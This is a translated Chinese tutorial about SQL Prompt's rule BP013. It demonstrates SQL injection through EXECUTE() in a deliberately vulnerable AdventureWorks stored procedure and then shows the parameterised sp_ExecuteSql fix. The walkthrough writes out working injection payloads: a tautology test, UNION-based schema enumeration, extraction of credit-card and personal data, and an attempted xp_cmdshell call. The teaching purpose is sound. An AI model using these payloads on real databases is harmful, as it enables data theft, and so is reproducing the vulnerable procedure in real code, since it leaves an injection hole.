翻譯|使用教程|編輯:莫成敏|2020-01-21 14:08:16.620|閱讀 314 次
概述:SQL Prompt的代碼分析規(guī)則BP013將提醒您使用Execute(string)來(lái)執(zhí)行字符串中的批處理,該字符串通常是根據(jù)用戶輸入動(dòng)態(tài)組裝的。這種技術(shù)很危險(xiǎn),因?yàn)閰?shù)值是在SQL Server解析該語(yǔ)句之前注入的,從而使攻擊者可以“標(biāo)記”額外的語(yǔ)句。請(qǐng)改用sp_ExecuteSql,并驗(yàn)證字符串輸入。
# 界面/圖表報(bào)表/文檔/IDE等千款熱門(mén)軟控件火熱銷(xiāo)售中 >>
相關(guān)鏈接:
SQL Prompt根據(jù)數(shù)據(jù)庫(kù)的對(duì)象名稱(chēng)、語(yǔ)法和代碼片段自動(dòng)進(jìn)行檢索,為用戶提供合適的代碼選擇。自動(dòng)腳本設(shè)置使代碼簡(jiǎn)單易讀--當(dāng)開(kāi)發(fā)者不大熟悉腳本時(shí)尤其有用。SQL Prompt安裝即可使用,能大幅提高編碼效率。此外,用戶還可根據(jù)需要進(jìn)行自定義,使之以預(yù)想的方式工作。
有時(shí)不可避免地使用動(dòng)態(tài)SQL,但是執(zhí)行直接從包含在執(zhí)行時(shí)更改的值的字符串直接創(chuàng)建的動(dòng)態(tài)SQL是魯莽的。它可以允許SQL注入并且效率也不高。
SQL Prompt的代碼分析規(guī)則,BP013將提醒您使用Execute(),以字符串形式執(zhí)行批處理,該批處理通常是根據(jù)用戶輸入動(dòng)態(tài)組裝的。使用此命令特別令人懷疑,因?yàn)樗辉试S您參數(shù)化值。
即使您對(duì)可以提交的值有完全的控制和監(jiān)督,并確定它們永遠(yuǎn)不會(huì)來(lái)自最終用戶,還是最好使用sp_ExecuteSQL存儲(chǔ)過(guò)程對(duì)輸入進(jìn)行參數(shù)設(shè)置。這不僅更安全,而且還可以幫助查詢(xún)優(yōu)化器認(rèn)識(shí)到要執(zhí)行的SQL批處理已參數(shù)化,因此適合可重用的計(jì)劃。
無(wú)論是EXECUTE命令和sp_ExecuteSQL程序執(zhí)行批處理,而不僅僅是查詢(xún)。因此,即使您使用sp_ExecuteSQL,也很容易在存儲(chǔ)過(guò)程中引入SQL注入的漏洞。如果您錯(cuò)誤地將SQL與參數(shù)連接在一起,它將仍然允許惡意用戶引入向該批處理添加額外語(yǔ)句的輸入。
SQL注入漏洞
想象一下,AdventureWorks開(kāi)發(fā)人員看到此SQL并認(rèn)為“Aha”,我可以提供任何列表作為參數(shù)。
SELECT * FROM person.person WHERE lastname IN ( 'Goldberg', 'Erickson', 'Walters' );
很好,因此在存儲(chǔ)過(guò)程中,他可以動(dòng)態(tài)地匯編代碼
DECLARE @MyList NVARCHAR(50) = '''Goldberg'',''Erickson'',''Walters'''; EXECUTE ('SELECT * from person.person where lastname in (' + @MyList + ')');
因此,現(xiàn)在他可以提供任何人的姓氏列表并得到結(jié)果。但是,當(dāng)代碼審查員指出可怕的可能性時(shí),現(xiàn)實(shí)很快就會(huì)出現(xiàn):
DECLARE @MyList NVARCHAR(50)='''factor'') Select * from sales.creditcard --' EXECUTE ('SELECT * from person.person where lastname in ('+@myList+')')
當(dāng)然,您可能會(huì)認(rèn)為這有點(diǎn)學(xué)術(shù)性,因?yàn)镾QL注入都是關(guān)于應(yīng)用程序中非參數(shù)化查詢(xún)的。好吧,不;引入漏洞的不僅僅是應(yīng)用程序。應(yīng)用程序可以正確地參數(shù)化對(duì)存儲(chǔ)過(guò)程的調(diào)用,如果存儲(chǔ)過(guò)程本身存在漏洞,則可以成功利用漏洞。通過(guò)演示更容易解釋。
入侵AdventureWorks
假設(shè)AdventureWorks創(chuàng)建了一個(gè)新網(wǎng)站,而開(kāi)發(fā)人員想要一個(gè)產(chǎn)品搜索屏幕,用戶在其中輸入搜索字詞,并且所有相關(guān)產(chǎn)品都顯示在列表中。是的,這似乎很合理。
向數(shù)據(jù)庫(kù)新手的開(kāi)發(fā)人員分配了任務(wù)。該網(wǎng)站以名為WebUser的用戶名建立了連接池。團(tuán)隊(duì)非常謹(jǐn)慎,并確保WebUser無(wú)法訪問(wèn)網(wǎng)站上的任何敏感信息。它只能訪問(wèn)網(wǎng)站上專(zhuān)門(mén)處理WebUser請(qǐng)求的存儲(chǔ)過(guò)程。這些存儲(chǔ)過(guò)程在模塊的當(dāng)前所有者的上下文中運(yùn)行,以訪問(wèn)少量基表中的數(shù)據(jù)的受限部分。這樣做是為了允許諸如WebUser訪問(wèn)必需的數(shù)據(jù)而不能直接訪問(wèn)任何表。這有效地防止了來(lái)自應(yīng)用程序的任何SQL注入訪問(wèn)接口中的過(guò)程或函數(shù)以外的任何東西。一些數(shù)據(jù)庫(kù)設(shè)計(jì)人員更喜歡使用沒(méi)有登錄的用戶來(lái)提供此服務(wù)。
到目前為止,一切都很好。
創(chuàng)建過(guò)程并要求數(shù)據(jù)庫(kù)開(kāi)發(fā)人員將其安裝到數(shù)據(jù)庫(kù)中之后,開(kāi)發(fā)人員然后在應(yīng)用程序中仔細(xì)地對(duì)存儲(chǔ)過(guò)程的調(diào)用進(jìn)行參數(shù)化,以確保應(yīng)用程序不會(huì)進(jìn)行任何SQL注入。
這是程序。當(dāng)然,這些評(píng)論是我的。我不想讓任何人認(rèn)為這是一個(gè)好習(xí)慣。通過(guò)使用EXECUTE(),將撤消上述所有明智的預(yù)防措施。
/* we will now create a procedure that not only uses EXECUTE but also fails to check the contents of the string parameter passed to it*/ IF Object_Id('dbo.SelectProductModel') IS NOT NULL DROP procedure dbo.SelectProductModel; GO CREATE PROCEDURE dbo.SelectProductModel @queryString VARCHAR(255) WITH EXECUTE AS OWNER --to execute as the login who created this procedure AS--health warning!!! This is a demonstration of how not to do it EXECUTE ( 'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE ( name+summary LIKE ''%'+ @queryString+'%'' )') GO--health warning!!! This is a demonstration of how not to do it
使用動(dòng)態(tài)執(zhí)行的代碼有時(shí)有很好的理由,但是這些幾乎總是涉及參數(shù)。在這種情況下,開(kāi)發(fā)人員需要使用sp_ExecuteSql。最重要的是,應(yīng)使用正確的約定將所有參數(shù)傳遞給它。在此示例中,沒(méi)有必要使用動(dòng)態(tài)SQL,但如果已經(jīng)這樣做,則應(yīng)該這樣做。
IF Object_Id('dbo.SelectProductModel2') IS NOT NULL DROP procedure dbo.SelectProductModel2; GO CREATE PROCEDURE dbo.SelectProductModel2 @queryString VARCHAR(255) WITH EXECUTE AS owner AS EXECUTE sp_ExecuteSQL N'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE (name+summary LIKE ''%''+@search+''%'')',N'@search Varchar(20)',@search=@QueryString GO
您可以在以下示例中嘗試此版本以證明它。我也會(huì)添加一些參數(shù)驗(yàn)證,因?yàn)槲蚁朐谕砩纤瘋€(gè)好覺(jué)。有一些客戶希望搜索有關(guān)自行車(chē)的短語(yǔ),但其中不包括“–”。
現(xiàn)在,為了說(shuō)明這一點(diǎn),我應(yīng)該讓您(讀者)建立一個(gè)帶有搜索表單和網(wǎng)格的網(wǎng)站,以顯示結(jié)果。相反,我們將在SSMS中對(duì)此進(jìn)行仿真,以便您可以嘗試并嘗試一下。
設(shè)置了惡意程序后,我們創(chuàng)建了無(wú)權(quán)執(zhí)行任何操作的網(wǎng)站用戶。然后,我們以該用戶身份執(zhí)行任務(wù),并查看通過(guò)顯著的數(shù)據(jù)泄露我們可以走多遠(yuǎn)。
IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER Webuser; -- We need to execute some of the following code with the restricted access rights of a -- typical web user that has only access rights to the stored procedure that accesses -- the table We then run part of the script as that user. CREATE USER WebUser WITHOUT LOGIN; /* we now assign it permission to call the stored procedure. It has no choice because this is being done in middleware on the web server. Every attempt to break into the database has to be done merely by changing the search term for Adventureworks bicycles. */ GRANT EXECUTE ON OBJECT::dbo.SelectProductModel TO WebUser; GRANT EXECUTE ON OBJECT::dbo.SelectProductModel2 TO WebUser; execute as user = 'WebUser' /* now we are working as WebUser. */
您必須想象我是一個(gè)外部入侵者,是通過(guò)網(wǎng)站而不是SSMS執(zhí)行此操作的(如果我可以訪問(wèn)它,那么我已經(jīng)出門(mén)在外了。)我必須將搜索詞放入網(wǎng)絡(luò)表單中并研究結(jié)果。我對(duì)此數(shù)據(jù)庫(kù)一無(wú)所知。因?yàn)轱@示了錯(cuò)誤,我得到了幫助,并且可以在網(wǎng)站結(jié)果網(wǎng)格中看到結(jié)果。即使沒(méi)有錯(cuò)誤,我也會(huì)受到輕微的抑制,因?yàn)閺捻憫?yīng)時(shí)間可以判斷很多事情。
我的第一個(gè)目標(biāo)是找出表的名稱(chēng)及其模式。如果我不了解他們,那么會(huì)經(jīng)歷很多嘗試和錯(cuò)誤,這可能需要很長(zhǎng)時(shí)間和耐心。然后,我需要知道列和數(shù)據(jù)類(lèi)型。如果我能找到一種方法來(lái)做所有的事情,那我就可以回家了。
我們開(kāi)始吧。
Execute dbo.SelectProductModel 'light'
這似乎行得通。讓我們通過(guò)添加表達(dá)式來(lái)檢查是否正確地將其參數(shù)化。我作為“WebUser”,想知道“始終正確”的技巧是否有效。我輸入搜索詞“輕”或1 = 1 –“
EXECUTE dbo.SelectProductModel 'light'' or 1=1 --' /* Msg 102, Level 15, State 1, Line 59 Incorrect syntax near '1'*/
服務(wù)器端錯(cuò)誤肯定表明該漏洞存在。我需要添加一個(gè)括號(hào)嗎?
EXECUTE dbo.SelectProductModel 'light'') or 1=1 --'
這列出了所有產(chǎn)品型號(hào)。 如果您使用該過(guò)程的第二個(gè)版本SelectProductModel2,該查詢(xún)將不返回任何產(chǎn)品,因?yàn)樗鼘⑺阉髯址?light')或1 = 1-,這根本不存在。
/* Can I do the union all trick? */ --I don't know the names of any tables so I'll use functions EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT db_name(), @@Servername,User_Name(), ORIGINAL_LOGIN( ) , session_user,'''' --'
/* well that works and tells me that all columns are strings because I got no error in the UNION. Within the stored procedure, I'm A DBO!!! */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(object_id), name, '''','''','''','''' from sys.tables --'
/* some interesting tables. I like that CreditCard table. This saves me a lot of time Where are the credit cards? */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,'''','''','''' FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''creditcard'' --'
/* this is taking candy from a baby. We know the columns and table now! List out the credit cards on the website grid and over to the dark side */ EXECUTE dbo.SelectProductModel 'ffff'') union all Select CreditCardID,CardType,CardNumber,ExpMonth,ExpYear,ModifiedDate from Sales.Creditcard --'
/* Can I use xp_cmdshell? */ EXECUTE dbo.SelectProductModel 'ffff''); Execute xp_cmdshell ''dir *.*'' --' /* No. maybe I can reconfigure */ EXECUTE dbo.SelectProductModel 'ffff''); execute sp_configure ''show advanced options'',1;reconfigure with override --' /* Msg 15247, Level 16, State 1, Procedure sp_configure, Line 105 [Batch Start Line 96] User does not have permission to perform this action. Msg 5812, Level 14, State 1, Line 100 You do not have permission to run the RECONFIGURE statement*/不要緊。我仍然可以通過(guò)網(wǎng)站獲取有效載荷。現(xiàn)在我有了信用卡,我去找那個(gè)person.person表。某件事告訴我那里有個(gè)人數(shù)據(jù)。讓我們研究一下該表中的內(nèi)容。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,is_nullable,max_length,system_type_id FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''person'' --'
我認(rèn)為,從這些數(shù)據(jù)來(lái)看,如果我將各列連接在一起,則可以一次性提取出來(lái)。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT persontype,BusinessEntityID,Coalesce(Title+'' '','''')+FirstName+'' ''+Coalesce(MiddleName+'' '','''')+LastName+Coalesce('' ''+Suffix,''''),EmailPromotion,AdditionalContactInfo,Demographics FROM person.person --'
簡(jiǎn)而言之,AdventureWorks的所有個(gè)人詳細(xì)信息和銷(xiāo)售現(xiàn)在都在走向黑暗網(wǎng)絡(luò)。當(dāng)然,這很費(fèi)力,因?yàn)槲乙ㄟ^(guò)網(wǎng)站上的POST獲取有效負(fù)載,并且可能不得不重新組裝來(lái)自位的數(shù)據(jù),但是即使是很小的破壞也會(huì)造成破壞!
最后整理一下
SELECT USER_NAME(); REVERT; SELECT USER_NAME(); IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER WebUser; IF OBJECT_ID('dbo.SelectProductModel') IS NOT NULL DROP PROCEDURE dbo.SelectProductModel;
結(jié)論
將字符串作為SQL批處理執(zhí)行的技術(shù)本質(zhì)上沒(méi)有錯(cuò)。但是,這是編程的安全領(lǐng)域。如果不參數(shù)化該字符串中的值,則可能很危險(xiǎn)。有時(shí),由于SQL語(yǔ)法的多變,您無(wú)法做到,而且也沒(méi)有解決方法,在這種情況下,您需要采取所有必要的預(yù)防措施來(lái)驗(yàn)證輸入。出于這個(gè)原因,不鼓勵(lì)使用Execute(),因?yàn)樗鼪](méi)有參數(shù)化其輸入的方法,并且檢查sp_ExecuteSQL的使用,以確保已采取所有適當(dāng)?shù)念A(yù)防措施來(lái)防止SQL注入,所以是一個(gè)好主意。
本文內(nèi)容到這里就結(jié)束了,感興趣的朋友可以下載SQL Prompt免費(fèi)體驗(yàn)~也可以關(guān)注我們網(wǎng)站了解更多產(chǎn)品資訊~
相關(guān)內(nèi)容推薦:
本站文章除注明轉(zhuǎn)載外,均為本站原創(chuàng)或翻譯。歡迎任何形式的轉(zhuǎn)載,但請(qǐng)務(wù)必注明出處、不得修改原文相關(guān)鏈接,如果存在內(nèi)容上的異議請(qǐng)郵件反饋至chenjj@fc6vip.cn
文章轉(zhuǎn)載自: